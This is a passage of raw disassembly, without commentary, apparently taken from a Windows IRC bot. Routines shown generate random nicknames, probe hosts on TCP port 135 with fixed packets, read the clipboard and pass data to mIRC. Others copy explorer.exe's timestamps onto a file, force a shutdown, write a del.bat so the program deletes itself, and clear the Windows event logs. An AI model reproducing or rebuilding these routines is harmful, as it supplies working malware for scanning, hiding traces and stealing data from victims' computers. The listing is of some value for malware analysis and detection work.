		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al


loc_41815B:				; CODE XREF: sub_417FDF+110j
					; sub_417FDF+121j ...
		push	dword ptr [ebp+var_18+4]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C850
		add	esp, 0Ch


loc_41816E:				; CODE XREF: sub_417FDF+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41B650
		mov	esi, eax
		mov	[ebp+var_4], esi
		movsx	eax, [ebp+esi+var_2D]
		push	eax
		call	sub_41DCE8
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4183C5
		movsx	eax, [ebp+esi+var_2D]
		push	eax
		push	edi
		xor	ebx, ebx
		call	sub_41C620
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4182C7
		call	sub_41BF52
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4286D0
		call	sub_41CE04
		cmp	esi, 3
		jz	short loc_4181D8
		cmp	eax, 1
		jnz	loc_4182C7


loc_4181D8:				; CODE XREF: sub_417FDF+1EEj
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_41821C
		push	edi
		call	sub_41B650
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	[ebp+var_10]
		call	sub_41BF52
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	[ebp+var_10]
		fmul	dbl_4286D0
		call	sub_41CE04
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_41823A
; ---------------------------------------------------------------------------


loc_41821C:				; CODE XREF: sub_417FDF+202j
		call	sub_41BF52
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4286C0
		call	sub_41CE04
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl


loc_41823A:				; CODE XREF: sub_417FDF+23Bj
		inc	esi
		xor	ebx, ebx
		mov	[ebp+var_4], esi
		inc	ebx
		call	sub_41BF52
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4286B8
		call	sub_41CE04
		cmp	esi, 3
		jz	short loc_418260
		cmp	eax, ebx
		jnz	short loc_4182C7


loc_418260:				; CODE XREF: sub_417FDF+27Bj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_4182A5
		push	edi
		call	sub_41B650
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	[ebp+var_10]
		call	sub_41BF52
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	[ebp+var_10]
		fmul	dbl_4286D0
		call	sub_41CE04
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_4182C3
; ---------------------------------------------------------------------------


loc_4182A5:				; CODE XREF: sub_417FDF+28Bj
		call	sub_41BF52
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4286C0
		call	sub_41CE04
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl


loc_4182C3:				; CODE XREF: sub_417FDF+2C4j
		inc	esi
		mov	[ebp+var_4], esi


loc_4182C7:				; CODE XREF: sub_417FDF+1C4j
					; sub_417FDF+1F3j ...
		cmp	esi, 6
		jge	short loc_418347
		call	sub_41BF52
		cmp	esi, 5
		jge	short loc_4182E4
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4286D8
		jmp	short loc_4182FD
; ---------------------------------------------------------------------------


loc_4182E4:				; CODE XREF: sub_417FDF+2F5j
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4286D0


loc_4182FD:				; CODE XREF: sub_417FDF+303j
		call	sub_41CE04
		test	eax, eax
		jnz	short loc_418320
		call	sub_41BF52
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4286B0
		call	sub_41CE04
		mov	cl, 30h
		jmp	short loc_41833D
; ---------------------------------------------------------------------------


loc_418320:				; CODE XREF: sub_417FDF+325j
		cmp	eax, 1
		jnz	short loc_418347
		call	sub_41BF52
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4286C0
		call	sub_41CE04
		mov	cl, 41h


loc_41833D:				; CODE XREF: sub_417FDF+33Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi


loc_418347:				; CODE XREF: sub_417FDF+2EBj
					; sub_417FDF+344j
		cmp	ebx, 2
		jge	short loc_4183C5
		call	sub_41BF52
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4286D0
		call	sub_41CE04
		cmp	eax, 1
		jnz	short loc_4183C5
		call	sub_41BF52
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4286B0
		call	sub_41CE04
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_41BF52
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4286A8
		call	sub_41CE04
		cmp	eax, 1
		jnz	short loc_4183C5
		cmp	ebx, eax
		jge	short loc_4183C5
		call	sub_41BF52
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4286A0
		call	sub_41CE04
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl


loc_4183C5:				; CODE XREF: sub_417FDF+1ACj
					; sub_417FDF+36Bj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_41BC60
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417FDF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4183DE	proc near		; CODE XREF: sub_418416+125p
					; sub_418416+14Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_41840C


loc_4183EF:				; CODE XREF: sub_4183DE+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41DD40
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_418412
		inc	esi
		cmp	esi, edi
		jl	short loc_4183EF


loc_41840C:				; CODE XREF: sub_4183DE+Fj
		xor	al, al


loc_41840E:				; CODE XREF: sub_4183DE+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_418412:				; CODE XREF: sub_4183DE+27j
		mov	al, 1
		jmp	short loc_41840E
sub_4183DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418416	proc near		; CODE XREF: .XPack0:0040DEC7p
					; .XPack0:0040DFB3p

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_41C190
		mov	eax, [ebp+arg_4]
		push	esi
		dec	eax
		push	edi
		jz	short loc_418457
		dec	eax
		jz	short loc_418435
		dec	eax


loc_41842F:				; CODE XREF: sub_418416+57j
		xor	eax, eax


loc_418431:				; CODE XREF: sub_418416+3Fj
					; sub_418416+169j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_418435:				; CODE XREF: sub_418416+16j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_4CE348	; inet_addr
		push	eax
		call	sub_40C1D4
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_418431
; ---------------------------------------------------------------------------


loc_418457:				; CODE XREF: sub_418416+13j
		push	6
		push	1
		push	2
		call	dword_4CE388	; socket
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_41842F
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	dword_4CE308	; ntohs
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_40A7C5
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CE2B0	; connect
		cmp	eax, edi
		jz	loc_418573
		push	ebx
		push	48h
		push	offset dword_43B800
		push	esi
		call	dword_4CE358	; send
		cmp	eax, edi
		jz	loc_418573
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_4CE320	; recv
		cmp	eax, edi
		jz	loc_418573
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_418573
		push	ebx
		push	18h
		push	offset dword_43B84C
		push	[ebp+arg_4]
		call	dword_4CE358	; send
		cmp	eax, edi
		jz	short loc_418573
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_4CE320	; recv
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_418573
		cmp	[ebp+var_200E],	2
		jnz	short loc_418573
		push	10h
		push	offset loc_43B868
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_4183DE
		add	esp, 10h
		test	al, al
		jz	short loc_418553
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_418573
; ---------------------------------------------------------------------------


loc_418553:				; CODE XREF: sub_418416+12Fj
		push	10h
		push	offset dword_43B87C
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_4183DE
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax


loc_418573:				; CODE XREF: sub_418416+9Bj
					; sub_418416+B2j ...
		push	[ebp+arg_4]
		call	dword_4CE3A0	; closesocket
		mov	eax, ebx
		pop	ebx
		jmp	loc_418431
sub_418416	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418584	proc near		; CODE XREF: sub_401AA1+B93p
					; sub_401AA1+BCDp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_41860F
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_41860F
		cmp	[ebp+arg_8], esi
		jz	short loc_41860F
		cmp	byte ptr [eax],	0
		jz	short loc_41860F
		push	ebx
		push	edi
		call	sub_426B09
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_41860A
		push	[ebp+arg_4]
		push	edi
		call	sub_41BF70
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_418603
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_41BC60
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_41B650
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_41C850
		push	[ebp+arg_4]
		call	sub_41B650
		add	eax, esi
		push	eax
		push	ebx
		call	sub_41C530
		push	ebx
		push	edi
		call	sub_41C520
		add	esp, 30h
		mov	esi, edi


loc_418603:				; CODE XREF: sub_418584+3Cj
		push	ebx
		call	sub_41B721
		pop	ecx


loc_41860A:				; CODE XREF: sub_418584+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_418611
; ---------------------------------------------------------------------------


loc_41860F:				; CODE XREF: sub_418584+Cj
					; sub_418584+13j ...
		xor	eax, eax


loc_418611:				; CODE XREF: sub_418584+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418584	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418615	proc near		; CODE XREF: sub_401925+E9p
					; sub_410EAC+F4p

var_7D0		= dword	ptr -7D0h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	ebx
		push	eax
		call	sub_41BC00
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41B650
		xor	edi, edi
		add	esp, 10h
		inc	edi
		cmp	eax, edi
		jge	short loc_41864D
		or	eax, 0FFFFFFFFh
		jmp	short loc_4186B4
; ---------------------------------------------------------------------------


loc_41864D:				; CODE XREF: sub_418615+31j
		xor	ecx, ecx
		cmp	eax, ebx
		mov	[ebp+var_7D0], esi
		jle	short loc_41866E


loc_418659:				; CODE XREF: sub_418615+57j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_418666
		cmp	dl, 0Dh
		jnz	short loc_418669


loc_418666:				; CODE XREF: sub_418615+4Aj
		mov	[ecx+esi], bl


loc_418669:				; CODE XREF: sub_418615+4Fj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_418659


loc_41866E:				; CODE XREF: sub_418615+42j
		xor	edx, edx
		cmp	eax, ebx
		jle	short loc_418696


loc_418674:				; CODE XREF: sub_418615+7Fj
		cmp	[edx+esi], bl
		jnz	short loc_418691
		lea	ecx, [edx+esi+1]
		cmp	[ecx], bl
		jz	short loc_418691
		cmp	edi, 1F4h
		jge	short loc_418696
		mov	[ebp+edi*4+var_7D0], ecx
		inc	edi


loc_418691:				; CODE XREF: sub_418615+62j
					; sub_418615+6Aj
		inc	edx
		cmp	edx, eax
		jl	short loc_418674


loc_418696:				; CODE XREF: sub_418615+5Dj
					; sub_418615+72j
		cmp	[ebp+arg_4], ebx
		jz	short loc_4186B2
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	near ptr sub_41C9B0
		add	esp, 0Ch


loc_4186B2:				; CODE XREF: sub_418615+84j
		mov	eax, edi


loc_4186B4:				; CODE XREF: sub_418615+36j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418615	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186B9	proc near		; CODE XREF: sub_418713+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_4186F2
		push	ebx
		mov	ebx, edi


loc_4186D6:				; CODE XREF: sub_4186B9+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_4186F5
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_4186D6
		pop	ebx


loc_4186F2:				; CODE XREF: sub_4186B9+18j
		pop	edi
		pop	esi
		retn
sub_4186B9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186F5	proc near		; CODE XREF: sub_4186B9+25p
					; sub_418713+69p

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41DDEC
		cmp	al, 61h
		pop	ecx
		jl	short loc_418710
		cmp	al, 7Ah
		jg	short loc_418710
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_418710:				; CODE XREF: sub_4186F5+Ej
					; sub_4186F5+12j
		xor	eax, eax
		retn
sub_4186F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418713	proc near		; CODE XREF: sub_416026+10p
					; sub_416058+A0p

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_41C190
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41B650
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_41B650
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_4186B9
		add	esp, 14h
		dec	esi
		mov	edi, esi
		jmp	short loc_4187C5
; ---------------------------------------------------------------------------


loc_418753:				; CODE XREF: sub_418713+B4j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41DDEC
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41DDEC
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4187C3


loc_418775:				; CODE XREF: sub_418713+AEj
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_4186F5
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_418796
		mov	eax, ecx


loc_418796:				; CODE XREF: sub_418713+7Fj
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_4187D3
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41DDEC
		movsx	ecx, byte ptr [edi+ebx]
		push	ecx
		mov	[ebp+var_8], eax
		call	sub_41DDEC
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_418775


loc_4187C3:				; CODE XREF: sub_418713+60j
		dec	edi
		dec	esi


loc_4187C5:				; CODE XREF: sub_418713+3Ej
		test	esi, esi
		jg	short loc_418753
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_4187CE:				; CODE XREF: sub_418713+C2j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4187D3:				; CODE XREF: sub_418713+88j
		xor	eax, eax
		jmp	short loc_4187CE
sub_418713	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4187D7	proc near		; CODE XREF: sub_401AA1+669Ap
					; sub_401AA1+765Dp

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	dword_428094	; RtlGetLastWin32Error
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	dword_428168	; FormatMessageA
		lea	eax, [ebp+var_100]


loc_418810:				; CODE XREF: sub_4187D7+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_41881C
		cmp	cl, 9
		jnz	short loc_41881F


loc_41881C:				; CODE XREF: sub_4187D7+3Ej
		inc	eax
		jmp	short loc_418810
; ---------------------------------------------------------------------------


loc_41881F:				; CODE XREF: sub_4187D7+43j
					; sub_4187D7+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_418839
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_41881F
		cmp	cl, 21h
		jl	short loc_41881F


loc_418839:				; CODE XREF: sub_4187D7+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4DDA78
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41BFF0
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4187D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_418861	proc near		; CODE XREF: sub_401AA1+2433p
		push	esi
		push	0
		call	dword_4CE2D8	; OpenClipboard
		test	eax, eax
		jz	short loc_418898
		push	1
		call	dword_4CE2F8	; GetClipboardData
		mov	esi, eax
		test	esi, esi
		jz	short loc_418898
		push	edi
		push	esi
		call	dword_428170	; GlobalLock
		push	esi
		mov	edi, eax
		call	dword_42816C	; GlobalUnlock
		call	dword_4CE35C	; CloseClipboard
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_418898:				; CODE XREF: sub_418861+Bj
					; sub_418861+19j
		xor	eax, eax
		pop	esi
		retn
sub_418861	endp


; =============== S U B	R O U T	I N E =======================================



sub_41889C	proc near		; CODE XREF: sub_401AA1+7416p

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	dword_4CE314	; FindWindowA
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_418918
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	dword_42817C	; CreateFileMappingA
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	dword_428178	; MapViewOfFile
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41BEF6
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4CE364	; SendMessageA
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4CE364	; SendMessageA
		push	ebx
		call	dword_428174	; UnmapViewOfFile
		push	edi
		call	dword_428070	; CloseHandle
		xor	eax, eax
		pop	ebx
		inc	eax
		jmp	short loc_41891A
; ---------------------------------------------------------------------------


loc_418918:				; CODE XREF: sub_41889C+16j
		xor	eax, eax


loc_41891A:				; CODE XREF: sub_41889C+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41889C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41891E	proc near		; CODE XREF: sub_40121E+200p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4CE3C0	; SearchPathA
		test	eax, eax
		jz	short loc_4189BD
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_4280F8
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_4189BD
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	dword_428184	; GetFileTime
		push	ebx
		mov	ebx, dword_428070
		call	ebx	; CloseHandle
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4189BD
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_428180	; SetFileTime
		push	esi
		call	ebx	; CloseHandle


loc_4189BD:				; CODE XREF: sub_41891E+2Aj
					; sub_41891E+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41891E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4189C2	proc near		; CODE XREF: sub_401AA1+163Cp
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_419CCF
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4CE248	; ExitWindowsEx
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_4189C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4189E4	proc near		; CODE XREF: sub_401AA1+26CFp
					; sub_4169AB+45Fp

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_42A97C, esi
		push	edi
		jz	short loc_418A08
		cmp	dword_4CE3D4, esi
		jnz	short loc_418A08
		push	esi
		call	sub_401000
		pop	ecx


loc_418A08:				; CODE XREF: sub_4189E4+13j
					; sub_4189E4+1Bj
		call	sub_40B417
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	dword_4280B8	; GetTempPathA
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	dword_4280F8	; CreateFileA
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_418B68
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_41B650
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		call	dword_4280F0	; WriteFile
		push	edi
		call	dword_428070	; CloseHandle
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41BC00
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BC00
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_4404C4
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		call	dword_4280A4	; GetModuleHandleA
		push	eax
		call	dword_428078	; GetModuleFileNameA
		lea	eax, [ebp+var_15C]
		push	eax
		call	dword_4280A0	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418B10
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		call	dword_42809C	; SetFileAttributesA


loc_418B10:				; CODE XREF: sub_4189E4+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_41BEF6
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	dword_428188	; ExpandEnvironmentStringsA
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		call	dword_428074	; CreateProcessA


loc_418B68:				; CODE XREF: sub_4189E4+72j
		pop	edi
		pop	esi
		leave
		retn
sub_4189E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418B6C	proc near		; CODE XREF: sub_401AA1+70A1p

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	dword_4280D0	; GetVersionExA
		cmp	[ebp+var_84], 2
		jnz	short loc_418C02
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4CE288	; OpenEventLogA
		push	edi
		push	eax
		call	dword_4CE298	; ClearEventLogA
		test	eax, eax
		jz	short loc_418BF4
		push	[ebp+arg_10]
		push	offset dword_43B9B0


